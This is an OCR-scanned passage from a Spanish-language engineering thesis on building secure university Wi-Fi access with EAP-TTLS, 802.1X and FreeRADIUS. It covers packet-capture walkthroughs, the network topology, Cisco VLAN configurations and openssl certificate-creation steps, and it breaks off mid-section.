En el planteamiento de la tesis, se propone una solucién al problema de ingenieria en
el cual el protocolo de autenticacion EAP-TTLS proporciona mecanismos de seguridad
que permiten el acceso seguro y transparente de los usuarios a una red inalambrica.

Este método solamente requiere de una autenticacion por usuario-contrasefia y para
una mayor seguridad se podria adjuntar el certificado digital emitido por la autoridad

certificadora.

Proceso de seguridad EAP-TTLS

El proceso de autenticacion EAP-TTLS empieza cuando un suplicante envia un
mensaje de inicio al Autenticador del tipo “EAPOL Start” solicitando el inicio del
intercambio de paquetes EAP. En la Fig. 3.28 se observa el inicio del proceso de
autenticacion 802.1X. EAP a la vez es un campo del paquete 802.1X como se muestra en
la Fig. 3.30.

Source
PO e R

> Frame 3: 18 bytes on wire (144 bits), 18 bytes captured (144 bits)
> Ethernet II, Src: GemtekTe ce:1d:7e (©0:21:00:ce:1d:7e), Dst: Cisco 6f:b2:30 ({80:26:0a:6f:b2:30)
v 802.1X Authentication

Version: 1

Type: Start (1)

Length: ©

Fig. 3.28 Captura de la trama EAPOL en 802.1X

Luego de que el suplicante inicie el proceso “EAP-Start” (1), el Autenticador solicita el
envio de su identidad mediante el paquete “EAP-Request Identity” (2), el suplicante envia
sus credenciales de su cuenta (jquinto@uni.edu.pe) al Autenticador mediante “EAP-
Response Identity” (3) y éste altimo encapsula la respuesta del paquete EAP dentro de
un paquete “Access-Request RADIUS” para enviarla al servidor de autenticacion
RADIUS. (4). En la Fig. 3.29 se observa con mayor detalle el inicio del proceso de

autenticacion 802.1X.
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mﬁ 1 Autenticador

User: jquinto@uni.edu.pe
clave: Horkkik

Fig. 3.29 Inicio de un proceso de autenticacion 802.1X / EAP

En las Fig. 3.30, Fig. 3.31 y Fig. 3.32 se observa las capturas de los paquetes de
inicio EAP mediante un analizador de protocolos wireshark.

1 0.000000 Cisco_6f:af:70 GemtekTe_73:f2:24 EAP 60 Request, Identity [RFC3748]
2 0.044039 GemtekTe _73:f2:24 Cisco_6f:af:70 EAP 60 Response, Identity [RFC3748]

@-Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
@ Ethernet II, src: Cisco_6f:af:70 (00:26:0a:6f:af:70), Dst: GemtekTe_73:F2:24 (00:14:a5:73:¥2:24]
B 802.1x Authentication .
version: 1
Type: EAP Packet (0)
Length: 42
B Extensible authentication Protocol
Code: Request (1)
Id: 1
Length: 42
Type: Identity [RFC3748] (1)
Crdentity €37 hytes )i \00Q0raty

POREIE=0 "

Jor K1 d=TEST—UNT , hasid=ap
Fig. 3.30 Captura del paquete EAP-Request desde un suplicante

2 0.044039 GemtekTe_73:f2:24 <Cisco_6f:af:70 EAP - 60 Response, Identity

@ Frame 2: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
® Ethernet II, src: GemtekTe_73:f2:24 (00:14:a5:73:f2:24), Dst: Cisco 6f:af:70 (00:26:0:
B 802.1x Authentication
varsion: 1
Type: EAP Packet (0)
Length: 23
2 Extensible authentication Protocol
Code: Response (2)
Id: 1
Length: 23
Type: Identity [RFC3748] (1)
lertity (18-hytes): jquinto@uni.edu.pe

Fig. 3.31 Captura del paquete EAP-Response desde un suplicante
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& RrRadius Protocol
Code: Access-Request (1)
Packet ddentifier: ox15 (21)
Length: 155
Authenticator: 4d2e5c0d76d16bc0f3089bc3h64adoas
B attribute value PRairs

_ T 1=20 ° t=User-Name(L)y jouintoluni.edu.pe
8 AvP: 1=6 t=Framed-MTU(12): 1400
@® AavP: 1=16 t=Called-Station-Id{30): 0026.0a6f.af70
@ AavP: 1=16 t=Ccalling-Station-Id(31): 0014.a573.f224
@ AvP: T=6 t=service-Type(6): Login(l)
® AvP: 1=18 t=Message-Authenticator(80): 4d2a36574f1acc561969d48a72104089

@ AVP: T=25 TtT=EAP-Massage(79) Last Segment[l]

B AVP: T=6 t=NAS-Port-Type(6l): wireless-802.11(19)
@B AvP: 1=6 tT=NAS-Port(5): 1924

B avP: T1=6 t=NAS-Port-Id(87): 1924

Fig. 3.32 Captura del paquete Access-Request desde un servidor RADIUS

El servidor RADIUS responde a la consulta del Autenticador enviando un mensaje
“Access-Challenge RADIUS” avisando del inicio de EAP-TTLS (5), luego el Autenticador
desencapsula dicho paquete y reenvia dicho mensaje “EAP-TTLS Request’ al suplicante
(6). Este ultimo responde con un mensaje “Cliente Hello” informando al Autenticador la
version del protocolo de autenticacion, los algoritmos que soporta y un valor random (7),
éste Ultimo mensaje es encapsulado dentro de un paquete RADIUS y es enviado por el
Autenticador al servidor de autenticacion (8). En la Fig. 3.33 se observa con mayor detalle

el inicio del proceso de autenticacion EAP-TTLS.

Autenticador

Us}i quinto@uni.edu.pe
Clave; ****

Fig. 3.33 Inicio del proceso de autenticacion EAP-TTLS
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En las Fig. 3.34 se observa la captura del paquete “Access-Challenge” por el servidor
RADIUS, el cual se envia un mensaje de desafio al Autenticador requiriendo el inicio del
método EAP-TTLS.

8 Radius Protocol

Code: Access-challenge (11)

packet ddentifier: 0xb8 (184)

Length: 72

Authenticator: 7cdb5¢7279cefbh56ce324badf3022boqa

B Attribute value Pairs
8 avP: 1=8 T=EAP-Message(79) Last Segment[1]
EAP fragment
& Extensible authentication Protocol

Code: Reguest (1)
Id: 3

Type: EAR-T )
Flags(0x20): Start
TTLS version O

Fig. 3.34 Envio de un mensaje de desafio para iniciar EAP-TTLS

En la Fig. 3.35 se observa al Autenticador solicitando al suplicante el inicio de EAP-
TTLS.

5 0.074332 Cisco_6f:af:70 GemtekTe_73:f2:24 EAP 60 Request, EAP-TTLS

@ Frame 5: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
® Ethernet II, src: Cisco_6f:af:70 (00:26:0a:6f:af:70), Dst: GemtekTe 73: f2 24 (00:14:a
B 802.1x Authentication
version: 1
Type: EAP Packet (0)
Length: 6
@ extensible authentication Protocol
Code: Request (1)
Id: 3
Length: &
Type EAP—TTLS [RFC5281] (21).

'TTLS version 0

Fig. 3.35 Solicitud recibida por un suplicante para dar inicio a EAP-TTLS

En la Fig. 3.36 se observa al suplicante enviando un mensaje “Cliente Hello® al

Autenticador, dicho mensaje contiene los requerimientos por parte del usuario.
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8 0.0735287 ocemrekve_73:f2:24 Cisco_of:af:70 TLSvL 124 Client Hello

Frame &: 124 bytas on wire (292 bits), 124 bytes captured (992 bits) o
Ethernet IT, Srg: GemtekTe . 73:72:24 (00:14:35:73:72:24), 0st: Cisco bf:af:70 (O
B0Z.1xX Authenticarion
version: 1
Type: EAP Packat (0)
Length: 106
5 Extensible Aurhentication protocal
Code: Response (2)
Id: 3
Length: 106
Type: EAP-TTLS [RPC3281] (21)
Flags (0x80): Length
TTLS warsion 0
Length: 96
& secure Sockevs Laver
= TLsvl Record Layer: Handshake Protocol: Client rello
comtent Type: Handshake (22)
varsion: TLS 1.0 {0x0301)
Lengrh: 91
- Handshake provocgl: client Hellp

Fig. 3.36 El suplicante envia un paquete "Cliente Hello"

En las figuras Fig. 3.37, Fig. 3.38 y Fig. 3.39 se observa con mayor detalle las
caracteristicas del mensaje “Cliente Hello”, en el cual se observa la versién del protocolo

TTLS, el envio de un valor random y los algoritmos soportados por el suplicante.

v Extensible Authentication Protocol
Code: Response (2]
Id: 2
Length: 186
Type: EAP-TTLS [RFC5281] (21)
Flags(9x88) : Length

T71.S wersion © ———"= Sopotto ésta version de TTLS

Fig. 3.37 Version TTLS soportada

> Random
Session ID tength: @
Cipher Suites length: 48

Fig. 3.38 Valor random desde un suplicante
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v Cipher Sultes (24 sulies)

Cipher Suite: TLS DHE RSA WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite: TLS DHE DSS WITH AES 256 CBC SHA (Gx0038)
Cipher Suite: TLS RSA WITH AES 256 CBC SHA (6x8035)
Cipher Suite: TLS DHE RSA WITH 30DES EDE CBC SHA ({Ox0016)
Cipher Suite: TLS DHE DSS WITH 3DES EDE_CBC_SHA {©x06813)
Cipher Suite: TLS RSA WITH 3DES EDE (BC SHA (0x800a)
Cipher Suite: TLS DHE RSA VWITH AES 128 CBC SHA (GX0033)
Cipher Suite: TLS _DHE DSS WITH AES 128 CBC_SHA (6x0832)
Cinher Sunite- TIS RQA WITH AFS 123 (RO SHa {AyAA2?>TY

Fig. 3.39 Algoritmos soportados por un suplicante

En la Fig. 3.40 se observa la respuesta por parte del servidor de autenticacién
aceptando los requerimientos del usuario (9). Este paquete incluye la versién del
protocolo TLS 1.0, un conjunto de algoritmos de cifrado que soporta el suplicante, un
valor random y su certificado digital firmado por una autoridad certificadora. Luego el
suplicante valida el certificado adjunto del servidor RADIUS obteniendo la clave pubiica

de la autoridad emisora del certificado y la clave publica del servidor RADIUS (10).

COY
Autenticador

.. . Server Hello

User: jquinto@uni.edu.pe * Acepto los requerimientos.
Clave; ****** * Escojo la version TLS 1.0

* Escojo ésta suite de algoritmos. .
* Adjunto el certificado del RADIUS

Valido el certificado del RADIUS
con la llave publica det CA

Fig. 3.40 Intercambio de algoritmos y validacién del certificado RADIUS

En las figuras Fig. 3.41, Fig. 3.42 y Fig. 3.43 se observan a mas detalle el conjunto de
algoritmos validados por el servidor RADIUS vy la version del protocolo TLS a usarse,
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también se puede observar la estructura del valor del random y el paquete “Server Hello”

enviando por el servidor RADIUS en respuesta al paquete “Client Hello”.

& Secure socketrs Layer
8 TLSvl Record Layer: Handshake Protocol: server Hellao
content Type: Handshake (22)
varsion: TLS 1.0 (0x0Q301)
Length: 42
8 Handshake Protocal: server Hello
Handshake Type: servar Hello (2)

Length: 38
varsion: TLS 1.0 (0x0301)
® Random

session ID Length: O
Cipher suite: TLS_DHE _RSA WITH.
Compression Method: null ¢€0)

b

{

SHA.

0%0039)

Fig. 3.41 Estructura del paquete "Server Hello"

¥ Random
o gmt_unix_time: Mar 1, 2012 12:17:34.000000000 PET
random_bytes: 24068ce400d2430a821cf63416bb579cbae9ds485418¢8e9. ..

Fig. 3.42 Estructura del valor aleatorio random

"7 0286182 LisCh GPIariQ  cGemtekie y3:fZ:24 TLSWE 1042 Server Hello, Certiticate,

Berver Key Exchange

8 Secure Sockets Layer
® TLSvl Record Layer: Handshake protocol: Server Hello
@ TLSvl Record Layer: Handshake Protocol: Certificate
TLSvl Record Layer: Handshake Protocol: Sarver Key Exchange
TLSv1l Record Layer: Handshake Protocol: Server Hello Done

Fig. 3.43 Estructura interna del paquete SSL

En la Fig. 3.44 se observa el proceso de autenticacion final en donde el suplicante
cifra una llave Pre-Master (PMK) con Ila llave publica del servidor RADIUS para el inicio
del intercambio de claves y del proceso Handshake (11). Este mensaje es enviado dentro
del paquete “EAP-Response TLS Certificate” al servidor de autenticacién por medio del
Autenticador (12). El servidor descifra el paquete usando su llave privada para asi
obtener la llave PMK. Obtenido el valor del PMK, se da inicio al proceso de intercambios
de claves por lo cual tanto el suplicante como el servidor negocian una llave de sesion y
una llave de firma para el cifrado y firma respectivamente, de los datos transportados por
el suplicante (13). El inicio del envié de datos cifrados por parte del suplicante se da
cuando éste acepta el intercambio de llaves (15) y de ésta manera se termina el proceso
de autenticacion EAP-TTLS.
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Suplicante

RADIUS
Liave de firma ;
'ﬁ E 13 2 ‘2 Se obtiene la
, 'sve Pre-Master
‘ <,.‘::.f> Se completa el HandShake
=9 14 ,
/ Ciiro con la liave

de sesion r)
d Firmo con la flave ( i 3

de sesidn Intercamblo de los datos cifrados
Fig. 3.44 Intercambio de llaves para el cifrado de datos finales

En la Fig. 3.45 se observa el ultimo paquete en el proceso de autenticacion EAP
TTLS, también se observa el valor de la firma “Key Signature” y el valor del vector de

inicializacion.
18 0.607587 Cisco_6f:af:70 GemtekTe_73:f2:24 EaAp 60 Success
19 0.608852 Cisco_6f:af:70 GemtekTe_73:f2:24 EAPOL 67 Key

.20 03610059 Eisco_bFrafizo 24

® Frame 20: 62 bytas on wire (496 bits), 62 hytes captured (496 bits)
@ Ethernet II, src: cisco_6f:af:70 (00:26:Qa:6f:af:70), Dst: GemtekTe_73:f2:24
B 802.1x% Authentication

version: 1

Type: Key (3D

Length: 44

pescriptor Type: RC4 Descriptor (1)

Key Length: 5

rReplay Counter: 66778774700062

Key Iv: 3009f24f3bBebbb98e5312a08068477e

® Key Index: unicast, index 3
Key signature: ec7ae2e63f5e566f8a54be728bodde3d
Key: Use key locally generated by peer

memtekTe 731 EAPOL. - 62 Key

Fig. 3.45 Proceso final aceptando los métodos de autenticacion y cifrado
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3.9 Elementos de la infraestructura de la solucién propuesta

Para el despliegue de la solucién propuesta se utilizaron distintos elementos de
software-y hardware el cual permite el desarrollo de la tesis.

Se recomienda usar puntos de accesos (Access Points) con soporte 802.1X y
802.1Q.

3.9.1 Dispositivos moviles

Los dispositivos moviles usados para las pruebas de operatividad solo requieren
soporte del estandar 802.1b/g/n. En la presente tesis se usaron los siguientes moviles:

a) Laptop HP Pavilion DV51022ia Notebook

Fig. 3.46 Laptop HP
b) Smartphone Samsung GT-19000b

Fig. 3.47 Smartphone Galaxy S
c) IPAD 2- Apple

SN Il
Fi B ,

A e e

Fig. 3.48 IPAD2
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Dispositivo que soporte WPA/WPA Enterprise y métodos de autenticacion EAP-TTLS,
EAP-TLS y EAP-PEAP.

3.9.2 Suplicantes

El software usado en los dispositivos méviles para conectarse a una red inaldmbrica

son |os siguientes:

é) SecureW2 para Windows

SacureW2 Cradantials

Please entar your oredentials:

Usename: | jquinte@uni.edu.pe

303X KRR

Password: [

Domain: I

o« |

[T Save user credentia’s

Cancel ‘

Fig. 3.49 Suplicante “SecureWZ” en

b) Network Manager para Linux

Windows

Nombre dé la conexion: I TESIS-FIEE.

4 Conectar automaticamente

J Ajustes del sistema

Inaldmbrica | Seguridad inalédmbrica |Ajustes de IPv4

EWEP dinémica (802,1x)

Seéuridad:

Autenticacién: ITLS a través de tanel .

<

Identidad anénima: I

Certificado CA: I (Ninguno)

Autenticacidn interna: I PAP

Nombre de usuario: {jquintu@uni.edu.pe

Contrasefia: [.0..

)

. [ Mostrar la contrasefia-

l eganﬁelar

(;ﬂ Aceptar

Fig. 3.50 Suplicante en Linux



c) Open1X

XSupplicant =DpenSEA

ALLIANCE

Enlerpise BR2. 1K Adihenlicolion i
ra

g c
e Q

CDreate Mew Connection = Credentials

- How would you like-to obtain credentials? (if you are unsure, use the default setting)

{

O Pfomptfnrcredentials (defaulf)

(z -Store Credentials

| Username : [jquinm@uni.edu.pe | !

Password : iuuuuu| I

Fig. 3.51 Suplicante "Xsupplicant" en Windows

d) Android WIFI

Y Conexiones

7

@ Aplicaciones

| & Cuentas y sincronizacion |
Fig. 3.52 Suplicante en Android

e) Apple WIFI



55

@ Ricture Frame Chiovse a H:-Lwﬂf:h_..._ S )
E‘_’:ﬂ Conesal @so!up 5 é}
74 1ag, Contacts, Catendars ipod .
7 saterd - Wimu.ifn-.n ‘ PRAS
}‘:l iPod < vonalian-tg , ' | . 9 l
22} Video o ci:}ie'r',',:,' ) e ey
& Phatos ' ,? Aok Lo doin Bstecorcs ) .
;.ﬂ Slate ‘

i) Books

e

Fig. 3.53 Suplicante en MAC

3.9.3 Punto de Acceso (Access Poinf)

En el desarrollo de la tesis, se utilizé como “Punto de Acceso” los siguientes modelos:
“Cisco Aironet 1240AG” y “Linksys WRT54G” como se muestran en Fig. 3.54 y Fig. 3.55.

El modelo “Cisco Aironet 1240AG” es uno de los mas recomendados para el
despliegue de una infraestructura inalambrica de acceso seguro. Tiene como
caracteristicas principales la versatilidad, alta capacidad, seguridad y su soporte para los
protocolos y estandares 802.1X / EAP. En el anexo H se muestra el datasheet del modelo
dado.

Fig. 3.54 Punto de Acceso Cisco Aironet 1240AG

El modelo “Linksys WRT54G” es otro de los modelos mas populares para el
despliegue de infraestructuras inalambricas de acceso seguro. Entre sus principales
caracteristicas estan las compatibilidades con distintos protocolos de seguridad como
802.1X / EAP, la liberacion del codigo fuente del firmware para cumplir con la Licencia
Publica General (GNU GPL) y el costo menor del equipo a comparacion con el modelo
“Cisco Aironet 1240AG”.
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Fig. 3.55 Punto de Acceso Linksys WRT54G

3.9.4 Servidor RADIUS

El software que implementa un servidor RADIUS depende del sistema operativo
usado. En la presente tesis se usara el paquete “freeradius” pbrque es el servidor

RADIUS mas usado en el mundo y es de software libre con licencia BSD [23].

3.10 Alternativas de solucion

Si un estudiante o profesor de una institucién académica, que por motivos de trabajos
o estudios, visitara otra institucion para su participacion en algunas conferencias, cursos
de capacion, etc. Y en un momento dado requiera acceder a la red académica peruana
desde su dispositivo movil, éste usuario, mediante una cuenta de acceso, podria acceder
a la red de la institucion de distintas formas.

Existen dos alternativas de solucién para el acceso a internet por el usuario visitante:

3.10.1 Gestion de una cuenta de acceso en la institucion anfitriona por un usuario
visitante

En este primer caso, el usuario necesitara gestionar una cuenta de acceso con Ia
institucion que ofrece el servicio de conexion inalambrica y mediante ciertas condiciones.
de uso, tendra acceso a las redes avanzadas.

En ciertos casos, la gestiébn de las credenciales de acceso por parte del usuario
puede resultar engorrosa, en otros casos, debemos aceptar las politicas de seguridad de
la institucion que visitamos y por dltimo, esta la incertidumbre de que nuestra informacién
viaje de un modo seguro. Son estas algunas razones en que los usuarios deben
enfrentarse ante los sistemas de tramites para el acceso a una red inalambrica desde una
institucion anfitriona.

La gestién de solo una clave compartida dificulta el control de los usuarios, por lo que
usualmente los administradores de redes, que por motivos de seguridad, cambian
temporalmente la clave de acceso a la red WIFI, por consiguiente los usuarios deben

gestionar nuevamente la clave de acceso con la administracion de la facultad que visitan.
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La seguridad en una conexién inalambrica con claves compartida permite que
distintos usuarios puedan acceder a la red inaldmbrica y en ciertos casos existira el

riesgo en que la informacién éste expuesta ante ciertos ataques informaticos.

3.10.2 Utilizacion segura de su cuenta de acceso en la institucion anfitriona por el
usuario visitante

A4

En el segundo caso, el usuario necesitara solo su cuenta de correo electronico de su
institucion de origen para acceder a la red inalambrica de su universidad u otra institucion
conectada a las redes avanzadas. Este mecanismo podria ir acompafado de un
certificado digital firmado, por una entidad certificadora publica para garantizar ia no
interceptacion de las credenciales del usuario.

Este mecanismo seguro y rapido permitira al usuario acceder a las redes avanzadas
desde cualquier universidad que se encuentre, solo es necesario validar su cuenta de
correo electrénico de su universidad de origen por unica vez y tendra acceso a los
- distintos servicios que ofrecen las redes académicas sin restriccion alguna.

Esta solucién también permite la itinerancia de los mismos usuarios en el momento
gue visiten otras instituciones académicas. La seguridad en que la informacion vigje de
modo seguro lo garantizara el protocolo 802.1X para redes inalambricas. '

3.11 Determinacion de la solucion

3.11.1 Metodologia

Para la eleccidon de la solucion definidos en el capitulo 5, se elabora una serie de
requisitos necesarios, que bien por su relevancia en la seguridad de la informacién
basado en el codigo de buenas practicas o en la importancia en la movilidad de los
usuarios se consideran importantes.

Una vez definida la serie de requisitos necesarios, se elabora un estudio apoyado en
el estado actual de las tecnologias de la informacién, siempre enfocado a las
necesidades concretas, presentes y futuras de las universidades o institutos de
investigacion.

El proceso de seleccion se basara en los siguientes requisitos:

e Acceso seguro a las redes avanzadas por medio de una red inaldmbrica de
alguna institucion conectada a la RAAP.

e Acceso transparente a las redes avanzadas cuando un usuario visite otra
institucion conectada a la RAAP usando solo su cueﬁta de correo electrénico

institucional.
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El acceso seguro a las redes avanzadas es necesario pues permitira a los usuarios,
de las instituciones conectadas a la RAAP, confiar en que su informacién estara protegida
ante ciertos tipos de ataques informaticos como robo de contrasefias o algun robo de la
informacion confidencial de los usuarios asociados a un punto de acceso inaldambrico.

Cuando los usuarios de alguna institucién académica visitaran otra instituciéon y en un
momento requieran acceder a la RAAP, es necesario que ellos dispongan, de la manera
transparente posible, de un entorno de trabajo virtual con acceso libre de los servicios y
recursos que ofrece las redes avanzadas. Es por esto que, es indispensable que la
institucion que brinde este servicio de red, garantice la confidencialidad de la informacion

usada por el usuario y les pueda ofrecerles los servicios requeridos.

3.11.2 Proceso de eleccion de la solucion

Seguln la metodologia planteada en el capitulo anterior, para la determinacion de la

solucién y de las alternativas propuestas en el capitulo 5 definimos lo siguiente:

a. La gestiéon de una cuenta de acceso en la institucion anfitriona por un usuario
visitante nos conlleva a la necesidad de que los usuarios, visitantes de una
institucion académica, gestionen con la facultad visitada, su ingreso a las redes
avanzadas. Este método es el usado actualmente en muchas universidades pero
no es la solucién conveniente para los estudiantes o profesores de universidades
que requieren acceso seguro y transparente a una red visitada. Es desventajoso,
por el tiempo que toma ademas de los tramites administrativos que se deben
realizar y luego eliminar, por la temporalidad de su uso, lo cual a la institucion le
crea tareas de mantenimiento para mantener una base de usuarios confiable.

b. La utilizaciéon del correo electrénico institucional como credenciales de acceso a la
red inalambrica de una universidad permite que los usuarios de la institucién
puedan acceder de una forma rapida y transparente a la RAAP estando dentro su
universidad de origen o cuando visiten otros campus universitarios. Ademas que
ésta segunda alternativa nos permite cumplir con la metodologia planteada en la

determinacion de la solucién, cumpliendo con los requisitos solicitados en ello.
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CAPITULO IV
DESARROLLO DE LA SOLUCION PROPUESTA

4.1 Arquitectura de la solucion

Las infraestructuras de redes en las universidades varian dependiendo de la cantidad
de usuarios, equipamiento en hardware, software, etc. En el caso de la Universidad
Nacional de Ingenieria, los estudiantes solo acceden al Internet desde los laboratorios de
su facultad y en algunos casos desde una red inalambrica previamente configurada, y los
profesores o personal administrativo acceden desde sus oficinas o desde la sala de
profesores de su facultad. En otras ocasiones, usuarios externos a la universidad
necesitan acceder al internet desde sus dispositivos moviles, ellos se autentican
mediante un acceso restringido a la red de la universidad. En la FIEE, solo se accede
fisicamente a la RAAP desde la sala de videoconferencias ubicado en el pabellén Q3.

Por tal motivo, es necesario construir una topologia de red que permita a los
estudiantes, profesores u otro personal administrativo del Campus Universitario acceder a
la red de la RAAP mediante una conexién inalambrica de una forma rapida y segura.
También se debera permitir el acceso a otros usuarios de la comunidad académica
nacional o internacional.

La presente tesis plantea una infraestructura de red de acceso seguro en donde los
usuarios de la UNI ingresen a la RAAP desde su misma cuenta de correo electrénico sin
necesidad de gestionar una cuenta de acceso a la facultad. Para los estudiantes externos
que visiten el Campus Universitario, ellos podran acceder a los recursos o servicios de su
universidad de una forma virtual como si estuvieran en su universidad de origen.

Para el desarrollo de la solucién propuesta se usaran los siguientes componentes:

e Distribucién linux Debian 6.0 Server Squeeze para un servidor RADIUS y un
servidor PROXY RADIUS.

e Distribucién linux Debian 6.0 Server Squeeze para un servidor Base de Datos.

e Distribucion linux Centos 5.5 Server para el servidor LDAP.

e Access Points Cisco Aironet 1240AG y Linksys WRT54G.

e Un Switch Cisco Catalyst 2950.

e Un Router Cisco 2811.
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e Laptops con sistemas operativos Windows XP, Windows VISTA, Windows7, Linux,
MAC y Android.

e Smartphone con el sistema Android version 2.2.

4.2 Diseiio de una infraestructura de solucion usando RADIUS

La topologia de red propuesta para el desarrollo de la tesis es la que se muestra en la
Fig. 4.1. En ello se observa el acceso de distintos tipos de usuarios al internet de la
RAAP. :

Por ejemplo, para los usuarios visitantes de la universidad, solo accederan a la RAAP
desde la cuenta de acceso de su institucidbn de origen (vian 102). Para los usuarios
externos, su acceso a la red sera libre pero restringido (vlan 103). Solo los

administradores de las redes tendran acceso a los Puntos de Accesos, Switches y

Routers.
VLAN 109 dmlnlstrador . Router
(to)
b
) VL.‘:-‘:F:}___
: s ~Froncal
Usuario
Visitanie Purnto de
usuario@inictel-uni.edu.pe Acceso
VAN 103 i‘. “.
Ustuario o= VLAN 108
Invitado ST

acceso restringido ;

Usuario Local

Fig. 4.1 Topologia de la red propuesta
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En la Tabla N° 4.1, se observa el acceso de los usuarios en funcién de cada VLAN.

TABLA N° 4.1 Funciones de cada VLAN

VLAN ID Funcion
101 Acceso a la Red Académica Peruana
102 ' VLAN Nativa
103 Acceso a Invitados
106 Acceso a los usuarios administrativos
109 Acceso a los usuarios académicos

En la Tabla N° 4.2, se observa la configuraciéon de las subinterfaces de una interface
del Router.

TABLA N° 4.2 Direccionamiento de cada subinterface del Router

Interfaces | Etiqueta 802.1Q | Direccion IP Bloques DHCP
fa0/0.101 101 192.168.50.0 No
fa0/0.102 102 192.168.1.0 No
fa0/0.106 106 192.168.20.0 No
fa0/0.109 109 | 192.168.10.0/24 | 192.168.10.0/24

En la Fig. 4.2 se observa el proceso de autenticacion de un usuario con credencial
jquintoa@uni.edu.pe. Para lograr esto, el servidor RADIUS consulta al servicio de

directorio LDAP para la autorizacion de los usuarios a la red.

: >> Consultas al

Directorio

LDAP

RADIUS
UNI

Autenticador

Base de Datos

jquinfoa@lini.edu.pe

Fig. 4.2 Topologia de la red propuesta usando LDAP y SQL
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Para las pruebas de laboratorio, se asignara las siguientes direcciones IPs privadas

como se muestra en la Tabla N° 4.3.

TABLA N° 4.3 Direccionamiento de los servidores usados en el laboratorio

Switch | RADIUS SQL LDAP |Punto de Acceso| -Hot Spots
192.168.1.2 {192.168.1.4 | 192.168.1.5 | 192.168.1.6 192.168.1.65 192.168.1.64/27

4.3 Configuracion de las subinterfaces en la interfaz LAN del Router

Para que las vlans creadas en un switch se logren comunicarse entre ellas, es
necesario establecer subinterfaces, encapsulaciones y direccionamientos IPs dentro de ‘Ia
interfaz LAN del router. En la ejemplo 4.1 se muestran las configuraciones realizadas al
router cisco 2811.

Ejeniplo 4.1. Configuracién en un router cisco 2811.

interfaces fa0/0 - )
no ip address

interface fa0/0.101
encapsulation dot1Q 101 native
ip address 192.168.50.1 255.255.255.0

interface fa0/0.102
encapsulation dot1Q 102
ip address 192.168.1.1 255.255.255.0

interface fa0/0.103
encapsulation dot1q 103
ip address 192.168.30.1 255.255.255.0

interface fa0/0.106
encapsulation dot1q 106
_ip address 192.168.20.1 255.255.2565.0

interface fa0/0.109
encapsulation dot1q 109
ip address 192.168.10.1 255.255.255.0

4.4 Configuracion de las vians en el conmutador

Las configuraciones en un conmutador se basan especificamente en vlans para
separar I6gicamente los servidores de los usuarios. ’
En la Tabla N° 4.4 se observa la conexion de las vlans a cada puerto del Switch y la

funcién que éste ultimo tiene.
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TABLA N° 4.4 Configuracioén de las VILANs en un conmutador Cisco

# de VLAN
Puertos Etiquetado (E), No etiquetado (N) Se conecta a
fa0/24 N(101), E(102 y 109) Internet
fa0/2-23 N(102), E(109) Hot Spots (APs)
fa0/1 N(102) RADIUS

En la Fig. 4.3 se observa el diagrama de puertos en un conmutador.

CONMUTADOR (SWITCH)

RADIUS - Hot Spots (APs)

Fig. 4.3 Diagrama de puertos en un conmutador Cisco

En la ejemplo 4.2 se observa la configuraciébn de un conmutador Cisco 2950. El
puerto fa0/1 esta asignado para el servidor RADIUS, el rango de puertos fa0/2-fa0/23
estan asignados para todos los Puntos de Accesos que se tengan disponibles y en el

puerto fa0/24 para la troncal de vians.

Ejemplo 4.2. Configuracién en un switch cisco 2950

Switch(config)# interface fastethernet0/1
Switch(config-ig)# description RADIUS-UNI
Switch(config-ig)# switchport mode access
Switch(config-ig)# switchport Access vlan 102

Switch(config)# interface fastethernet0/2-23
Switch(config-ig)# description HOT-SPOTs
Switch(config-ig)# switchport trunk encapsulation dot1q
Switch(config-ig)# switchport trunk native vian 102
Switch(config-ig)# switchport trunk allowed vlan 102,109
Switch(config-ig)# switchport mode trunk

Switch(config)# interface fastethernet0/24
Switch(config-ig)# switchport trunk encapsulation dot1q
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Switch(config-ig)# switchport frunk native vian 101 ,
Switch(config-ig)# switchport trunk allowed vian 101,102,109
Switch(config-ig)# switchport mode trunk

4.5 Instalacion de los paquetes necesarios para la solucion de la tesis A

Para la implementacién de la tesis es necesaria la instalacion de las siguientes
librerias y paquetes encontrados en los repositorios de Linux.

- Instalacion de las librerias necesarias:
libssl-dev, libgnutls-dev, libsnmp-dev, libmysqlclient-dev, libldap-dev
- Instalaciéon de los paquetes necesarios:

make, pkg-config, vim, nmap, mysql-server, mysql-client, openssl, freeradius,
rsyslog, wpa _supplicant

4.6 Configuracion de certificados digitales

Para garantizar la autenticidad y confidencialidad de la informacion transmitida por un
usuario conectado al internet, es necesaria la configuracion de una Autoridad
Certificadora (CA). A continuacién describiremos los pasos necesarios para la creacion
de certificados digitales validos firmados por un CA.

- Creacion de una autoridad certificadora

openssl| req -new -x509 -extensions v3_ca -keyout private/ca.key -out ca.crt -days 1825
- Creacion de un certificado de consulta para el servidor RADIUS

openssl| req -new -keyout radius.key -out radius.uni.edu.pe.csr -days 1825

- Firma digital del certificado RADIUS por una autoridad certificadora

openssl ca -policy policy_anything -out radius.uni.edu.pe.crt -extensions xpserver_ext -
extfile xpextensions -infiles radius.uni.edu.pe.csr

- Creacién de un certificado de consulta para un usuario
openssl req -new -keyout jquinto.key -out jquinto.uni.edu.pe.csr -days 365
- Firma digital del certificado de usuario por una autoridad certificadora

openssl ca -policy policy_anything -out jquinto.uni.edu.pe.crt -extensions xpclient_ext -
extfile xpextensions -infiles jquinto.uni.edu.pe.csr

- Creacion de un certificado de criptografia estandar de llave publica (PKCS12)

openssl| pkcs12 -export -in jquinto.uni.edu.pe.crt -inkey jquinto.key -out jquinto.p12 -
clcerts
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- Conversion del certificado digital de la Autoridad Certificadora al formato DER
openssl x509 -inform PEM -outform DER -in ca.crt -out ca.der
- Creacién del archivo Diffie-Hellman (DH)

Para el establecimiento de claves y la negociacion de las sesiones TLS es necesario la
creacién de un DH.
openssl dhparam -check -text -5 512 -out dh

. - Creacion de un archivo random

Son archivos aleatorios usados en las operaciones de los TLSs. También es conocido
como flujo de bits (Bitstream).
dd if=/dev/urandom of=random count=2

4.7 Configuraciéon de un servidor de autenticacion RADIUS

Los certificados generados en el cap. 7.6 son utilizados en la configuracion del
paquete freeradius. El directorio por defecio que deberia estar almacenado los
certificados ca.crt, radius.uni.edu.pe.crt, la llave privada radius.key y los archivos dh y
random se encuentra en “../raddb/certs/ *, -

4.7.1 Configuracion del archivo usuarios

Define los usuarios por defecto que seran autenticados. En-su configuracion no es
necesario precisar el tipo de protocolo EAP a usarse. En el ejemplo 4.3 se observa la
